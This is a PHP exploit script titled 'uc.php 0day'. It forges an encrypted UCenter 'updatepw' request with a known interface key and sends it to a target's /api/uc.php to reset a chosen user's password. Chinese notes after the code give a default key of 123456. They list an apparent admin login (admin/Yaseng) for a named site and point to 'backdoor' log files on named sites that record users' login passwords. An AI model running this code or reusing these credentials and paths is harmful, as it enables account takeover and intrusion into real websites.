<?php
print_r('
+---------------------------------------------------------------------------+
uc.php 0day By 90sec@晴天小铸 wooyun@_Evil
+---------------------------------------------------------------------------+
');
if ($argc < 3)
{
print_r('
+---------------------------------------------------------------------------+
Example:
php '.$argv[0].' hostname key username uid
+---------------------------------------------------------------------------+
');
exit;
}
error_reporting(3);
ini_set('max_execution_time', 0);
$hostname = $argv[1];
$key = $argv[2];
$username = $argv[3];
$uid = $argv[4];
$code = 'time=13567968001111111111111111111&username='.$username.'&uid=1&action=updatepw&password=976edcd2b5b6d15f009f7cf306bb696e';
//password=Yaseng
$exp = urlencode(authcode($code, "ENCODE", $key));
$styleUrl=$hostname."/api/uc.php?code=".$exp;
$styleData="";
$ch = curl_init($styleUrl);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $styleData);
curl_setopt($ch, CURLOPT_POST, 1);
$token=curl_exec($ch);
curl_close($ch);
if (preg_match("/1/",$token))
{
echo "Have a Oday";
}else{
echo "Soory don't hack it";
}
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
**http://www.80vul.com/paper/UC接口带来的安全隐患.pdf
**
这个程序默认没开启uc接口,密匙为123456
1.jpg
http://www.kppw.cn/kppw20/control/admin/index.php 账号admin Yaseng
后门http://www.ruantui.net/api/uc_client_log.txt
http://**/pw_api/pw_log.txt
-_-当你开了UC接口就记录你登陆时间和密码,虽然密码是密匙+(32位)md5,但是对于懂密码学的逆向肯能性很大~
------------------------------------------------------------------哪位朋友知道密文(uc_client_log.txt)能逆向出密匙的求经验,求调教~!--------------------------------------